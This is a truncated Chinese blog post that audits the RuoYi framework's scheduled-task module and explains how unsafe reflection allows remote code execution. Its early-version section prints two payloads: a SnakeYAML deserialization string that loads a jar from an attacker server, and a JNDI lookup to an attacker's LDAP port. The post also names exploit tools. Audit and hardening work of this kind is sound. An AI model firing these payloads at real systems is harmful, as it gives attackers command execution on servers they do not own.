【代码审计】RuoYi定时任务漏洞:从SQL注入到RCE的攻防演变

RuoYi框架定时任务漏洞全解析:从漏洞原理到修复方案 本文深度剖析了RuoYi框架定时任务模块的安全漏洞演化史,从早期无过滤的反射调用到黑名单绕过、白名单逻辑缺陷及SQL注入组合利用,揭示了其设计缺陷如何导致RCE风险。文章提供了从代码审计到系统加固的完整防御方案,并强调了安全开发的核心原则。 阅读详情

1. 初识RuoYi定时任务:一个“方便”的功能如何变成致命后门

如果你用过若依(RuoYi)这个快速开发框架,肯定对它的定时任务模块不陌生。在系统监控菜单下,你可以轻松创建一个定时任务,让它每隔几分钟执行一次数据同步、日志清理或者发送邮件。这个功能设计初衷是为了方便开发者,不用自己手写复杂的Quartz配置,直接在后台界面填个“调用目标字符串”就行。比如,你可以写 ryTask.ryParams('ry') 来调用一个Spring Bean,或者写 com.ruoyi.quartz.task.RyTask.ryParams('ry') 来直接调用一个类的方法。看起来挺美,对吧?

但问题就出在这个“调用目标字符串”上。在早期版本里,RuoYi对这个字符串几乎没做任何校验。这意味着,只要你能进到后台(或者通过其他漏洞拿到后台权限),你就能让系统执行你指定的任何类、任何方法。这相当于把系统的“方向盘”直接交给了用户。我当时在审计代码的时候,看到这块逻辑心里就咯噔一下:这哪是定时任务,这分明是一个内置的“代码执行器”啊。

我们来简单看看它的实现原理。在 com.ruoyi.quartz.util.JobInvokeUtil 类里,有一个 invokeMethod 方法。当你创建的任务到点执行时,系统就会走到这里。它会解析你填写的字符串,拆分成类名(或Bean名)、方法名和参数。然后,它做了一个关键判断:如果这个类名不是一个合法的全限定类名(比如 ryTask),它就认为这是一个Spring容器里的Bean,直接用 SpringUtils.getBean() 把它捞出来。如果是个全限定类名(比如 com.xxx.EvilClass),它就直接用 Class.forName().newInstance() 反射创建对象。最后,再用反射去调用你指定的方法。

整个过程行云流水,没有任何障碍。攻击者只需要找到一个合适的、能执行命令的类,把它填进去,系统就会乖乖照办。这种漏洞我们通常叫它“不安全的反射调用”,是Java Web应用里非常典型的一类问题。RuoYi的定时任务模块,在很长一段时间里,就是这么一个敞开着的大门。

2. 漏洞的起点:4.6.2版本前的“无政府状态”

在RuoYi 4.6.2版本之前,定时任务模块对“调用目标字符串”的过滤,可以说聊胜于无。我们来看一下 SysJobController 里的 addSave 方法,这是添加任务时的入口。我翻过4.5.1版本的代码,里面的校验逻辑简单得让人吃惊:

// 4.6.2版本之前的粗略检查
if (StringUtils.containsIgnoreCase(invokeTarget, "rmi://")) {
    // 不允许rmi协议
    return error("不允许远程调用");
}
// ... 然后就保存到数据库了

看到了吗?它只检查字符串里有没有 rmi:// 这个子串。这意味着什么?意味着除了直接使用RMI协议,其他任何危险的调用方式都是畅通无阻的。攻击者可以轻松地利用一些常见的危险类来执行命令。

当时最直接的利用方式有两种。第一种是利用 SnakeYAML的反序列化。若依框架默认依赖了 snakeyaml 这个库,而它的 Yaml.load() 方法可以反序列化恶意YAML内容,导致远程代码执行。攻击者可以构造这样的调用字符串:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://攻击者服务器/yaml-payload.jar"]]]]')

这个payload利用了Java的SPI机制,通过 ScriptEngineManager 从远程加载一个恶意的JAR包并执行其中的代码。你需要提前准备好这个JAR包,里面包含一个实现了 ScriptEngineFactory 的类,在静态代码块里写上你的恶意操作(比如执行系统命令)。然后把JAR包放在一个Web服务器上,上述payload一执行,就会去下载并加载它。

第二种更直接的方式是利用 JNDI注入。这是Java里老生常谈的问题了,通过 javax.naming.InitialContext.lookup() 方法,可以加载远程的恶意对象。payload长这样:

javax.naming.InitialContext.lookup('ldap://攻击者IP:1389/恶意对象名')

攻击者只需要启动一个恶意的JNDI服务器(比如用 marshalsec 或 JNDI-Injection-Exploit 工具),监听1389端口,并配置好要执行的命令。当RuoYi的定时任务执行到这个调用时,就会向攻击者的服务器发起请求,加载恶意类,从而在目标系统上执行任意命令。

我实测过这个漏洞,在4

【漏洞实战】RuoYI框架多漏洞自动化检测与利用指南 本文深入剖析了RuoYI框架中的多漏洞检测与利用技术,重点分析了SnakeYAML反序列化、JdbcTemplate注入和Thymeleaf模板注入等高危漏洞的实战利用方法。通过自动化工具和手工技巧的结合,帮助安全人员高效识别和利用这些漏洞,同时提供了加固建议以提升系统安全性。 阅读详情

相关推荐

若依框架安全攻防:从信息收集到漏洞利用的实战剖析

本文深入剖析若依框架(RuoYi)在渗透测试中的安全漏洞与实战利用技巧,包括信息收集、SQL注入、任意文件读取等常见漏洞的详细利用方法,并提供有效的防御建议与修复方案,帮助开发者提升系统安全性。

weixin_30632089的博客 374

若依 RuoYi4.6.0 代码审计

IDEA打开项目,等待自动加载,修改application-druid.yml配置文件:数据库名,账号密码,连接数据库,修改application.yml中的端口,避免与80端口冲突。此方法会接收一个SysRole类型的role值,并且将接受的role值以selectRoleList方法处理后返回给list,最后返回给http响应。authc为登录拦截器,需要登录认证才能访问。该处代码先接收resource的值,再将该值放入checkAllowDownload方法里面校验后,进入下载文件的代码调用。

2401_88858891的博客 1013

若依4.7.8后台计划任务漏洞复现:从SQL注入到RCE的完整利用链分析

本文深入分析了若依4.7.8后台计划任务漏洞的完整利用链,从SQL注入到RCE(远程命令执行)的攻击路径。通过详细的环境搭建、漏洞复现和防御方案,揭示了该框架在权限校验和代码执行边界上的安全隐患,为企业级系统安全加固提供了实用建议。

weixin_33686714的博客 283

从弱口令到Thymeleaf模板注入:一次若依系统攻防实战解析

本文详细解析了从弱口令到Thymeleaf模板注入的完整攻击链,以若依系统为例,展示了如何通过弱口令登录后台并利用Thymeleaf模板注入漏洞实现RCE。文章深入剖析了漏洞原理、实战攻击步骤及防御方案,为网络安全攻防演练提供了宝贵参考。

weixin_30247781的博客 448

护网实战视角:服务器、框架与组件常见漏洞攻防与加固指南

在网络安全领域,漏洞是攻击者利用系统缺陷实施入侵的核心入口。其原理在于软件或配置中存在的弱点,可被恶意输入或行为触发,从而破坏系统的机密性、完整性或可用性。理解并防御漏洞的技术价值在于构建主动安全能力,是保障业务连续性和数据安全的基础。应用场景广泛覆盖企业安全建设、渗透测试、安全运维及合规审计。本文聚焦于在护网行动等实战攻防演练中高频出现的服务器错误配置、框架安全误用及第三方组件供应链漏洞,例如未授权访问和弱口令等热词所代表的风险,系统阐述其成因、利用手法及从配置管理到自动化扫描的立体化防御策略,为日常安全

weixin_42525738的博客 363

HighScore3.0实战指南:XRD物相分析从入门到精通(持续更新版)

本文提供HighScore3.0软件进行XRD物相分析的完整实战指南。从软件设置、数据导入、背景扣除、寻峰等预处理步骤,到核心的Search & Match物相搜索匹配、Rietveld精修定量,以及结果输出与常见问题排查,系统讲解了从入门到精通的全流程操作与核心技巧,帮助用户高效完成材料物相鉴定与分析工作。

weixin_29310605的博客 1030

MATLAB数据可视化:pcolor函数从入门到精通(附colormap调色秘籍)

本文深入解析MATLAB中pcolor函数的数据可视化应用,从核心机制、坐标网格指定到常见陷阱规避。重点揭秘colormap调色秘籍,涵盖内置色系选用原则、个性化定制方法及高级渲染技巧,助你创作出信息准确、视觉出色的专业图表,精通从数据到出版级图表的全流程。

kafka6courier的博客 242

金蝶云星空初级实施认证考题

Q4.[单选题] (1.5分) 总账中的多账簿账表主要是基于什么进行查看的Q47.[多选题] (2.5分) 销售订单的收款计划页签勾选预收之后,预收控制环节可以控制哪些节点?

m0_51994557的博客 3110

GBase8a-GDCA认证考试-复习参考题

为提升产品服务水平定期举办GBase产品认证培训,培训更多GBase数据库专业人员,满足用户快速成长的业务需求,建设GBase产品生态。请注意甄别,根据所学知识综合判断,正确率97%(97分)。

weixin_41826637的博客 2362

OSG三维渲染引擎编程学习之一:“第一章:OSG介绍” 之 “1.1 OSG简介”

第一章:OSG介绍; 1.1 OSG简介。

LuckyHanMo的博客 3207

NL2SQL进阶系列(3):Data-Copilot、Chat2DB、Vanna Text2SQL优化框架开源应用实践详解[Text2SQL]

NL2SQL进阶系列(3):Data-Copilot、Chat2DB、Vanna Text2SQL优化框架开源应用实践详解[Text2SQL]

丨汀、的博客 5414

保姆级教程:如何将仅限客户端使用的免费大模型(Gemini、Antigravity、Qwen Code、Kiro 等)转为任何应用可调用的 OpenAI 兼容标准接口

大模型 API 费用太贵?💸 这篇文章分享一个薅羊毛神器,能把 Gemini、Qwen Code、Kiro 等客户端专属的免费大模型转换成标准 OpenAI 兼容接口 🔌。支持多协议互转、账户池管理、Web 管理界面,Docker 一键部署,零成本调用 Claude Opus 4.5、Gemini 3 Pro 等高级模型 ✅

XiaoqiangClub的博客 1026

matlab 点云学习目录【2026最新版】

matlab 点云学习目录。博客长期更新,本文最近更新时间为:2026年6月15日。

点云侠的博客 3万+

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

上一篇: 从零开始:Confluent Platform社区版部署与KSQL实战指南
下一篇: Ubuntu 20.04下MinIO安装与配置全攻略:从下载到开机自启
yellow
博客等级 码龄27年 859粉丝 1417原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值